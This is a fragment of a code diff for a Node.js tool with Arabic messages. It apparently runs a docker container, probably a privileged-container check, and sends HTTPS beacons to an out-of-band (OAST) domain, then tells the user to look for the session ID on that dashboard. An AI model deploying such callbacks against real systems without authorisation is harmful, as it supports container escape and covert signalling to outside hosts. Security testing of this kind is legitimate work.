+ console.error(`خطأ في تشغيل docker: ${err.message}`);
114
+ process.exit(1);
115
+ });
116
+
117
+ container.on('close', (code) => {
118
+ console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
119
+
120
+ // إشارة نهاية
121
+ sendSimpleHttpsBeacon('/end', {
122
+ action: 'container_exited',
123
+ exit_code: code
879
124
  });
880
- }
881
125
 
882
- module.exports = { PrivilegedContainerScanner, CONFIG };
126
+ console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:\n`);
127
+ console.log(` https://${OAST_DOMAIN}`);
128
+ console.log(` ابحث عن: ${sessionId}\n`);
129
+ console.log(`أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
130
+ });
131
+
132
+ // التعامل مع Ctrl+C
133
+ process.on('SIGINT', () => {
134
+ console.log('\nإغلاق... (Ctrl+C مرة أخرى للخروج فوراً)');
135
+ container.kill('SIGINT');
136
+ setTimeout(() => process.exit(0), 1500);
137
+ });
Binary file
Binary file